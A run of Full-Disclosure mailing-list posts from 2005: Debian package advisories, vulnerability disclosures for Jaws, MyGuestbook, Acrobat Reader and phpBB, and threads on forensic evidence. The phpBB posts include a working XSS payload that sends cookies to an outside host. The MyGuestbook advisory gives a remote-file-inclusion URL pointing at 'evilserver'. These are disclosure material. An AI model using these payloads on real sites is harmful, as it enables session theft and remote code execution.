RE: [Full-disclosure] Some VNC doubts : access server behind TCP/IPproxy or gateways
> > VNC does support 'reverse shells'. Look in the manual for your > particular version. Yes I am looking and testing this out > You would need to open one or more ports on your company's > firewall, but > that isn't too big a problem, is it? Just tunnel it over something > reasonably safe, and tell the helpdesk not to use > 'priviliged' machines > for incoming calls... The holes are not in the company's firewalls but in the firewalls of the Road warriors' computers mainly winxp sp2, firewall enabled so that nothing Outside can connect to that machine and I would rather keep it that way! Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 738-1] New razor packages fix potential DOS
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA 738-1 [EMAIL PROTECTED] http://www.debian.org/security/Michael Stone July 05, 2005 http://www.debian.org/security/faq - Package: razor Vulnerability : email header parsing error Problem type : remote DOS Debian-specific: no CVE Id(s) : CAN-2005-2024 A vulnerability was discovered in the way that Razor parses certain email headers that could potentially be used to crash the Razor program, causing a denial of service (DOS). For the stable distribution (sarge), this problem has been fixed in version 2.670-1sarge2. The old stable distribution (woody) is not affected by this issue. We recommend that you upgrade your razor package. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian 3.1 (sarge) - -- sarge was released for alpha, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2.dsc Size/MD5 checksum: 799 88b6def693d8e884f636acf9337344f1 http://security.debian.org/pool/updates/main/r/razor/razor_2.670.orig.tar.gz Size/MD5 checksum:86705 0118b6030ea261ea85e73a55cc7eac8e http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2.diff.gz Size/MD5 checksum:10699 ed53476451c87dbf876697e198083973 alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_alpha.deb Size/MD5 checksum: 117030 ab3c6043749da7b66aa468f8fec794a7 arm architecture (ARM) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_arm.deb Size/MD5 checksum: 115572 01ee173b14d45f1f576dd3b4db6ba3e8 hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_hppa.deb Size/MD5 checksum: 117146 82889def9ab647e075cedf658a2e7707 i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_i386.deb Size/MD5 checksum: 116070 9171153ba7bf5c0c679c14a8303d777d ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_ia64.deb Size/MD5 checksum: 118378 d1ed58ed88d490cad82b8cde72745b6d m68k architecture (Motorola Mc680x0) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_m68k.deb Size/MD5 checksum: 115938 6a620f25c1895e3ac80ba94c57931874 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_mips.deb Size/MD5 checksum: 114962 3a771fb3bc2b88b6606121541f4e1c80 mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_mipsel.deb Size/MD5 checksum: 114978 3c6f16f40f9820e4624c277969c85947 powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_powerpc.deb Size/MD5 checksum: 117502 2860b774a37ed2eaae9efd365e05ceaf s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_s390.deb Size/MD5 checksum: 115738 02789063e04d63a1eea5f2bf88745c5f sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/r/razor/razor_2.670-1sarge2_sparc.deb Size/MD5 checksum: 115848 8a264ab5802cf6764db4354facdd4ea0 - --- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce@lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iQCVAwUBQssaww0hVr09l8FJAQLITQQAt/NH07I1T/m5pFrtuvOFnJ96f6Kg1flm VHJHSQpdgh/NlJL8wHiTVpPDwmdAMooq31cxXoJxYM0G6A8oP1dvM+5KQXNwPMHJ Ifr4uuEUI7dcENaNoQ/HsItdCzk/0KuIRrCY1xth3fwRdjV4OBu2g9QVAdJe8f94 vgT/fi+GSxA= =y/KI -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 737-1] New clamav packages fix potential DOS
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA 737-1 [EMAIL PROTECTED] http://www.debian.org/security/Michael Stone July 05, 2005 http://www.debian.org/security/faq - Package: clamav Vulnerability : various DOS vulnerabilities Problem type : remote DOS Debian-specific: no CVE Id(s) : CAN-2005-1922, CAN-2005-1923, CAN-2005-2056, CAN-2005-2070 A number of potential remote DOS vulnerabilities have been identified in ClamAV. In addition to the four issues identified by CVE ID above, there are fixes for issues in libclamav/cvd.c and libclamav/message.c. Together, these issues could allow a carefully crafted message to crash a ClamAV scanner or exhaust various resources on the machine running the scanner. For the stable distribution (sarge), these problems have been fixed in version 0.84-2.sarge.1. We recommend that you upgrade your clamav package. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian 3.1 (sarge) - -- Sarge was released for alpha, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84-2.sarge.1.dsc Size/MD5 checksum: 990 45ab13b2916ea6e124ea508589dc2513 http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84-2.sarge.1.diff.gz Size/MD5 checksum: 165385 4b728b8f0fc9bd18cdbb9362369f9374 http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84.orig.tar.gz Size/MD5 checksum: 4006624 c43213da01d510faf117daa9a4d5326c Architecture independent packages: http://security.debian.org/pool/updates/main/c/clamav/clamav-base_0.84-2.sarge.1_all.deb Size/MD5 checksum: 153988 20db24662262e0b9dfa7aa75e97f5571 http://security.debian.org/pool/updates/main/c/clamav/clamav-testfiles_0.84-2.sarge.1_all.deb Size/MD5 checksum: 122964 2dee7ac0a4733f43062055198abdadc1 http://security.debian.org/pool/updates/main/c/clamav/clamav-docs_0.84-2.sarge.1_all.deb Size/MD5 checksum: 689196 96e29e17789a201af6f3dbb735aa8e86 alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/c/clamav/clamav-freshclam_0.84-2.sarge.1_alpha.deb Size/MD5 checksum: 2176330 e1ce57da96c8f7ba1d9e69f392870658 http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84-2.sarge.1_alpha.deb Size/MD5 checksum:74680 c0182e60e49ae35ab39c30920878bcdc http://security.debian.org/pool/updates/main/c/clamav/libclamav1_0.84-2.sarge.1_alpha.deb Size/MD5 checksum: 283114 3e84390b59d5af7774971b8b4c450e39 http://security.debian.org/pool/updates/main/c/clamav/libclamav-dev_0.84-2.sarge.1_alpha.deb Size/MD5 checksum: 253394 58e508402215780d700c04f511ee8d7d http://security.debian.org/pool/updates/main/c/clamav/clamav-milter_0.84-2.sarge.1_alpha.deb Size/MD5 checksum:42122 6bd307350ce2b26acf5f4de59f497794 http://security.debian.org/pool/updates/main/c/clamav/clamav-daemon_0.84-2.sarge.1_alpha.deb Size/MD5 checksum:48772 d5a7634ec79fd31b2ed99ec622a96c40 arm architecture (ARM) http://security.debian.org/pool/updates/main/c/clamav/clamav-freshclam_0.84-2.sarge.1_arm.deb Size/MD5 checksum: 2171212 92dd89faef07eadb80b1e2bbb487ccc5 http://security.debian.org/pool/updates/main/c/clamav/clamav-milter_0.84-2.sarge.1_arm.deb Size/MD5 checksum:37296 86712c3b9f80f020284c1e47c29b9ee6 http://security.debian.org/pool/updates/main/c/clamav/clamav-daemon_0.84-2.sarge.1_arm.deb Size/MD5 checksum:39508 766654a8a9995a0f9d3a8b109d333b99 http://security.debian.org/pool/updates/main/c/clamav/libclamav-dev_0.84-2.sarge.1_arm.deb Size/MD5 checksum: 172722 4702e8e11065c3e23590b64291631914 http://security.debian.org/pool/updates/main/c/clamav/libclamav1_0.84-2.sarge.1_arm.deb Size/MD5 checksum: 247434 179dfac5e8992a9258cba01f489ca7bc http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84-2.sarge.1_arm.deb Size/MD5 checksum:63810 0f39f35595799adba1e1289108f5ea53 hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/c/clamav/clamav_0.84-2.sarge.1_hppa.deb Size/MD5 checksum:68188 ff19cd8aca67fa7aad210d88864a453b http://security.debian.org/pool/updates/main/c/clamav/c
[Full-disclosure] Advisory 07/2005: Jaws Multiple Remote Code Execution Vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hardened-PHP Project www.hardened-php.net -= Security Advisory =- Advisory: Jaws Multiple Remote Code Execution Vulnerabilities Release Date: 2005/07/06 Last Modified: 2005/07/06 Author: Stefan Esser [EMAIL PROTECTED] Application: Jaws <= 0.5.2 Severity: Multiple Security Holes in Jaws allow remote code execution Risk: Critical Vendor Status: Vendor doesn't consider this serious enough References: http://www.hardened-php.net/advisory-072005.php Overview: Quote from http://www.jaws.com.mx "Jaws is a Framework and Content Management System for building dynamic web sites. It aims to be User Friendly giving ease of use and lots of ways to customize web sites, but at the same time is Developer Frendly, it offers a simple and powerful framework to hack your own modules." An audit of Jaws revealed that it uses XML_RPC and is therefore vulnerable to the known eval() hole. Additionally the Blog gadget is vulnerable to a remote URL inclusion vulnerability. The vendor, although we contacted him credits Gulftech for the XML_RPC vulnerability. He also believes, that a remote URL inclusion vulnerability that is only exploitable with register_globals turned on, which is the default on most servers, is not serious. Because of this they released an updated version of Jaws, that is still vulnerable to remote code execution through the Blog gadget. Details: A quick audit of Jaws revealed, that they are using the XMLRPC library. This audit also revealed that the file BlogModel.php of the Blog gadget suffers a remote URL include vulnerability triggered by the global variable 'path'. Unfortunately for the users of Jaws, the vendor believes that a remote URL inclusion vulnerability is not serious and therefore they released an update to Jaws in response to our notification, that only upgrades the bundled XMLRPC library. This means, although they know better the Jaws developers expose their user to a serious security hole in their Blog gadget. Impudent like they are, they are also crediting the XMLRPC finding to Gulftech, although we contacted them. But this is not uncommon. Secunia and some Linux vendors still claim, that Gulftech has informed the PEAR developers about this vulnerability, which is of course a lie. Proof of Concept: The Hardened-PHP Project is not going to release an exploit for this vulnerability to the public. Disclosure Timeline: 05. July 2005 - Contacted jaws vendor via email 05. July 2005 - Vendor releases Jaws 0.5.2 which only upgrades the bundled XML_RPC 06. July 2005 - Public disclosure Recommendation: Because there is actually no fix for this vulnerability we recommend that you simply do not use Jaws at all. Code that does require register_globals turned off to be secure should be avoided. Alternatively you can simply install the Hardening-Patch to stop this and all other remote URL include vulnerabilities. GPG-Key: http://www.hardened-php.net/hardened-php-signature-key.asc pub 1024D/0A864AA1 2004-04-17 Hardened-PHP Signature Key Key fingerprint = 066F A6D0 E57E 9936 9082 7E52 4439 14CC 0A86 4AA1 Copyright 2005 Stefan Esser. All rights reserved. -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFCyykrRDkUzAqGSqERAreJAKDBozvIiKCUQD7B9rNiVbO3TgJNNwCfRy7n IsVdXTnI/l6CXqSIrpBSotw= =5Gdc -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] RE: Tools accepted by the courts
On Tue, July 5, 2005 3:02 pm, pingywon said: > I have heard on more then one ocassion that Microsoft Event files (.evt) > are admissible. Like anything, it depends a lot on the situation. It's a log file, so like any log file, it must be relevant and have a clean chain of custody. For anything more specific, it depends on your jurisdiction. Here is a link to the US Federal Rules of Evidence that might provide entertainment for some readers of this list: http://expertpages.com/federal/federal.htm Relevancy is defined in Article 4. Log files are generally considered "records of a regularly conducted activity", which is referenced in Rule 803(6). Note that Article 8 is about hearsay. A log is hearsay, but Rule 803 defines the exceptions to the inadmissibility of hearsay. -Eric -- arctic bears - email and dns services http://www.arcticbears.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] RE: Tools accepted by the courts
I have heard on more then one ocassion that Microsoft Event files (.evt) are admissible. can anyone comment yes or not through experience ? ~pingywon - Original Message - From: "Craig, Tobin (OIG)" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]>; "Evidence Technology" <[EMAIL PROTECTED]> Cc: ; <[EMAIL PROTECTED]> Sent: Tuesday, July 05, 2005 8:36 AM Subject: [Full-disclosure] RE: Tools accepted by the courts Jerry, I have to disagree with Jason on this, I think you're on the right track; Computer forensics needs to be regarded in the same light as other forensics fields and held to the same standards to maintain any credibility in the future. Jason: I apologize on behalf of the rest of the community who are trying to find a way forward in this. Obviously by the tone of your previous contributions, you have the whole field sewn up. Perhaps when you publish your definitive work, we'll all be able to enjoy the view from your vantage point. But until then, I for one don't appreciate the belligerence and the patronizing. Perhaps in my 20 years of international forensic science in 8 different disciplines I've missed something fundamental concerning forensic investigation or evidence handling. If so, then please be sure to include a chapter, I'd love to see where I've been going wrong over the last two decades. If you are waiting for witnesses to paint a worst case scenario every time they hit the stand, then don't hold your breath. Our job is to make this stuff understandable in an impartial way. It doesn't matter how much you know or how much you understand if you cannot impart that information in a meaningful way to your audience, be it a judge, jury, or your granny. This is just my opinion folks. Respectfully yours, (unprejudiced, because that's how we are supposed to be professionally, trying to find the correct answer in place of the easy answer, knowing that yes there are those who would exploit this field like any other, but also knowing the way to see the standards increased is by doing my best to ensure that I've done my job to the best of my ability, -- I would like to hope you are more interested in finding the right way forward over promoting your own agenda, although sadly I'm seeing much of the good you have to say get lost in overly aggressive verbage.) Please think twice about your delivery, you're only hurting yourself, Tobin Craig ___ Tobin Craig, MRSC, CISSP, SCERS, EnCE IT Forensic Director, Computer Crimes and Forensics Department of Veterans Affairs Office of Inspector General 801 I Street NW Washington DC 20001 Tel: 202 565 7702 Fax: 202 565 7630 ___ -Original Message- From: Jason Coombs [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 05, 2005 8:04 AM To: Evidence Technology Cc: Craig, Tobin (OIG); [EMAIL PROTECTED]; full-disclosure@lists.grok.org.uk Subject: Re: Tools accepted by the courts Evidence Technology wrote: That era is quickly fading. Going forward, I think we'll see more and more digital evidence rendered inadmissible via failure to adhere to established evidentiary standards. Jerry, No way. What 'evidentiary standards' are you talking about here? I'm sorry but that's just absurd. How will there ever be 'evidentiary standards' on the contents of my filing cabinet and my personal pornography collection? The police find the data where they find it. That's called 'circumstantial evidence' and digital evidence will always be treated exactly as such no matter who we successfully convince of the flaws inherent in the filing cabinet or printed document/glossy photograph analogy. What I demand to hear spoken by law enforcement, and what I insist prosecutors compel law enforcement to speak if they don't volunteer these words out of their own common sense, is the following: "Yes, that's what we found on the hard drive but there's little or no reason for us to believe that the defendant is responsible for placing it there just because the hard drive was in the defendant's possession. We often see cases where hard drives are installed second-hand and data from previous owners remains on the drive, we can't tell when the data in question was written so it's important to be aware that hundreds of other people could have placed it there. We also see cases where software such as spyware or Web pages full of javascript force a suspect's Web browser to take actions that result in the appearance that the owner of the computer caused Internet content to be retrieved when in fact the owner of the computer may not have known what was happening, malicious Web site programmers know how to use techniques such as pop-unders and frames to hide scripted behavior of Web pages. Furthermore, once the Web browser is closed and its temporary files are deleted, every bit of data that was saved 'temporarily' to a file by the browser becomes a semi-permanent part of the hard drive's unallocated space and we have no
Re: [Full-disclosure] RE: Tools accepted by the courts
Evidence Technology wrote: This is not a followup to the topic of the thread, but is still on- topic for the list... > ... THAT is absurdity on > parade. Speaking of which... <> > -- > No virus found in this outgoing message. > Checked by AVG Anti-Virus. > Version: 7.0.323 / Virus Database: 267.8.9/39 - Release Date: 7/4/2005 That is certainly an improvement on the earlier: Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (yada, yada, yada...) though to the naïve and gullible (such as those who leave this default option enabled?), the effect is still the same -- "it's safe to do whatever with anything in this message". "Best practice" would be to turn that off, much as the AVG/Grisoft folk want the advertising... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OWASP-SoCal 07/19 Meeting - Speakers and Topics
Join OWASP SoCal Chapter for our kickoff meeting. We have top Security experts from Business, Technology and Standards and Compliance communities offering real world solutions, how to’s and case studies for integrating security into the software development lifecycle. OWASP Mission - Generate Awareness & Contribution to Industry - acts as a catalyst to bring together the southern California software development and security communities for an ongoing exchange, addressing the needs, interests and issues that developers, security practitioners and managers are experiencing today. MEETING TAKE AWAYAs an attendee, you will come away with… Deeper understanding of what it takes to secure applications and software in use at your organization. Business processes used to address security during the software/application development lifecycle Knowledge of how other security professionals view and prepare for the next level of threats. Network with professional from local companies, from those that have successfully deployed application security solutions to those that are just beginning the process. WHO should Attend Anyone interested in Web Application Security (management, IT professionals, security professionals, developers, students, etc). WHEN / WHEREJuly 19th, Tuesday, 6 PM - 8 PM Fidelity National Financial2510 N. Red Hill Avenue, Santa Ana CA 92705 Thanks to our sponsors for this meeting: Fidelity National Financial for Venue, Foundstone for Pizza / refreshments AGENDA 6.00 PM - 6.15 PM: Welcome/Social 6.15 PM - 6.35 PM: Introduction to OWASP (Kartik Trivedi) 6.40 PM - 7.10 PM: Client Side Attacks in the Wild (Eric Heitzman) We all know that attackers can compromise companies by attacking Internet-facing servers. In this talk, we turn the tables on that model and examine how malicious webmasters can compromise your network by hacking your users’ workstations. We’ll visit some shady sites on the Internet that compromise systems, and therefore entire networks, through client-side attacks. 7.15 PM - 7.45 PM: The Next Wave – Avoiding Disaster (Mike Andrews) New technologies that are starting to gain momentum – opening up internals via API/Web Services, AJAX, etc. How we’ve screwed up in the past, what we should do this time round 7.45 PM – 8.00 PM: Closeout / next meeting COST / RSVP Free / RSVP to [EMAIL PROTECTED] CHAPTER PAGE / MAILING LIST Check our chapter page http://www.owasp.org/local/socal.html Join the mailing list https://lists.sourceforge.net/lists/listinfo/owasp-socal Please forward to anyone you feel would have an interest in this event. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Solaris 9/10 ld.so fun
I compiled it using Workshop 10 and it doesn't give me root. I'm on Solaris 9 w/ 112963-18. Also tried using this on a Solaris 8 box and got the same results. bash-2.05$ !cc cc -xarch=v8plus -xcode=pic32 -G -o /tmp/Schily-Root.so /tmp/Schily-Root.c bash-2.05$ !export export LD_AUDIT=/tmp/Schily-Root.so bash-2.05$ su - ld.so.1: su: warning: la_version: can't find symbol ld.so.1: su: warning: /tmp/Schily-Root.so: audit initialization failure: disabled --- Glenn Pitcher IT Security MedImpact Healthcare Systems San Diego, CA 858-790-7479 glenn.pitcher @ medimpact.com > -Original Message- > From: KF (lists) [mailto:[EMAIL PROTECTED] > Sent: Saturday, July 02, 2005 5:29 PM > To: full-disclosure@lists.grok.org.uk > Cc: Przemyslaw Frasunek; bugtraq@securityfocus.com > Subject: Re: [Full-disclosure] Solaris 9/10 ld.so fun > > > Przemyslaw Frasunek wrote: > > >Vulnerability was confirmed by Sun: > > > >http://sunsolve.sun.com/search/document.do?assetkey=1-26-101794-1 > > > >There are still no patches available, but workaround was proposed. > > > > > > > > Here is an exploit for Schillix using venglin's mojo. > -KF > > -- This transmission, together with any attachments, is intended only for the use of those to whom it is addressed and may contain information that is privileged, confidential, and exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any distribution or copying of this transmission is strictly prohibited. If you received this transmission in error, please notify the original sender immediately and delete this message, along with any attachments, from your computer. == ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XSS in nested tag in phpbb 2.0.16
Please forgive my redundant report, below. I forgot to flush my cached copy of the FD list. AnthraX101 On 7/5/05, alex <[EMAIL PROTECTED]> wrote: > Hi all! > > Example: > > [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl > e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic > hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u > rl][/url]'[/color] > > More info: > http://www.securitylab.ru/55612.html > > and > > http://antichat.ru/txt/phpbb/ > > (In Russian) > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- AnthraX101 -- PGP Key ID# 0x4CD6D0BD Fingerprint: 8161 D008 3DAB 86C1 2CA3 AEDE 0E21 DBDE 4CD6 D0BD ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Unpatched phpBB XSS [in 2.0.16]
This exploit is already circulating, so I am posting a notice here. There is a way to exploit IE's HTML rendering engine to render invalid HTML code, embedded within a link. This can be used to bypass phpBB's filtering system to cause a cross site scripting issue. A description in Russian is available here: http://antichat.ru/txt/phpbb/ PoC is included with the description. I would advise administrators to disable the rendering of BBCode for the time being, this mitigates the issue. -- AnthraX101 -- PGP Key ID# 0x4CD6D0BD Fingerprint: 8161 D008 3DAB 86C1 2CA3 AEDE 0E21 DBDE 4CD6 D0BD ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] iDEFENSE Security Advisory 07.05.05: Adobe Acrobat Reader UnixAppOpenFilePerform() Buffer Overflow Vulnerability
Adobe Acrobat Reader UnixAppOpenFilePerform() Buffer Overflow Vulnerability iDEFENSE Security Advisory 07.05.05 www.idefense.com/application/poi/display?id=279&type=vulnerabilities July 05, 2005 I. BACKGROUND Adobe Acrobat Reader is a program for viewing Portable Document Format (PDF) documents. More information is available at the following site: http://www.adobe.com/products/acrobat/readermain.html II. DESCRIPTION Remote exploitation of a buffer overflow in Adobe Acrobat Reader for Unix could allow an attacker to execute arbitrary code. The vulnerability specifically exists in the function UnixAppOpenFilePerform(). This routine is called by Acrobat Reader while opening a document containing a /Filespec tag. Within this routine, sprintf is used to copy user-supplied data into a fixed-sized stack buffer. This leads to a stack based overflow and the execution of arbitrary code. The following demonstrates what the overflow looks like in a debugger: #0 0x41414141 in ?? () (gdb) i r ebx ebx0xbfffef54 -1073746092 (gdb) x/x 0xbfffef54 0xbfffef54: 0x40404040 (gdb) As shown, EIP is easily controllable; ebx also points to the 4 bytes before the EIP overwrite in a controlled buffer. This allows remote exploitation without having to know stack addresses, as an attacker can craft an exploit to return to a jmp ebx or call ebx instruction. III. ANALYSIS Successful exploitation allows an attacker to execute arbitrary code under the privileges of the local user. Remote exploitation is possible via e-mail attachment or link to the maliciously crafted PDF document. The impact of this vulnerability is lessened by the fact that two error messages appear before exploitation is successful; however, closing these windows does not prevent exploitation from occurring. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in Adobe Acrobat Reader version 5.0.9 for Unix and Adobe Acrobat Reader version 5.0.10 for Unix. Adobe Acrobat for Windows is not affected. Adobe Acrobat 7.0 for Unix is not affected. V. WORKAROUND User awareness is the best defense against this class of attack. Users should be aware of the existence of such attacks and proceed with caution when following links from suspicious or unsolicited e-mail. Users should consider using an unaffected version of Adobe Acrobat, such as Acrobat 7.0 VI. VENDOR RESPONSE Adobe has addressed this issue in the following security advisory: http://www.adobe.com/support/techdocs/329083.html Adobe is recommending the following steps for remediation: -- If you use Adobe Reader 5.0.9 or 5.0.10 on Linux or Solaris, download Adobe Reader 7.0 at www.adobe.com/products/acrobat/readstep2.html. -- If you use Adobe Reader 5.0.9 or 5.0.10 on IBM-AIX or HP-UX, download Adobe Reader 5.0.11 at www.adobe.com/products/acrobat/readstep2.html. VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2005-1625 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 05/12/2005 Initial vendor notification 05/12/2005 Initial vendor response 07/05/2005 Public disclosure IX. CREDIT iDEFENSE Labs is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email [EMAIL PROTECTED] for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MyGuestbook Remote File Inclusion.
=== Title: MyGuestbook Remote File Inclusion. Vulnerability Discovery: SoulBlack - Security Research - http://soulblack.com.ar Date: 05/07/2005 Severity: High. Remote Users Can Execute Arbitrary Code. Affected version: 0.6.1 (Only Tested in 0.6.1) Vendor: http://html-design.com/ * Summary * This is a simple MySQL based Guestbook. - * Problem Description * The bug reside in form.inc.php3. Vulnerable Code /* http://server/gb/form.inc.php3?lang=http://evilserver/cmd.gif?&cmd=id;uname%20-a;uptime uid=99(nobody) gid=99(nobody) groups=99(nobody) Linux cyan-1.farm.de 2.4.18custom_ko_w_ipsec #10 Fre Apr 19 13:05:46 CEST 2002 i686 unknown 6:51pm up 463 days, 15:43, 0 users, load average: 0.00, 0.01, 0.02 */ /* --- cmd.gif --- */ - - * Fix * Contact the Vendor. - * References * http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt - * Credits * Vulnerability reported by SoulBlack Security Research -- SoulBlack - Security Research http://www.soulblack.com.ar ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Tools accepted by the courts
On Tue, 05 Jul 2005 02:04:20 -1000, Jason Coombs said: > I'm sorry but that's just absurd. How will there ever be 'evidentiary > standards' on the contents of my filing cabinet and my personal > pornography collection? If the police seize the filing cabinet, and then leave it sitting out on a loading dock, and it gets stolen and then recovered from a dumpster, the defense attorneys can probably get any contents in it after the recovery from the dumpster thrown out, based on "evidentiary standards" - the chain of custody has been broken. Similarly, there's standard ways of handling fingerprints, and DNA, and fiber samples, and spent cartridges and bullets, and almost everything else, so that the prosecution can prove that *this* fingerprint/bullet/DNA/elephant was the same exact one, in the same condition as found. > The police find the data where they find it. That's called > 'circumstantial evidence' and digital evidence will always be treated > exactly as such no matter who we successfully convince of the flaws > inherent in the filing cabinet or printed document/glossy photograph > analogy. No - "circumstantial evidence" is evidence that doesn't actually tie the perpetrator to the scene, but assists in building the case. For instance, the fact that your car got a parking ticket just around the corner from the murder scene, 15 minutes before the murder, is circumstantial, but establishes that there's a high likelyhood that you were in fact in the area at the time. Similarly, if 45 minutes after the murder, you were stopped at an airport security checkpoint in a very agitated state and carrying $75K in cash and a one-way ticket to someplace we don't have an extradition treaty with, that would be circumstantial as well. > Please get a clue before you hurt somebody. Amen. pgpg8erh9BcoM.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] XSS in nested tag in phpbb 2.0.16
Hi all! Example: [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u rl][/url]'[/color] More info: http://www.securitylab.ru/55612.html and http://antichat.ru/txt/phpbb/ (In Russian) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] RE: Publishing exploit code - what is it good for
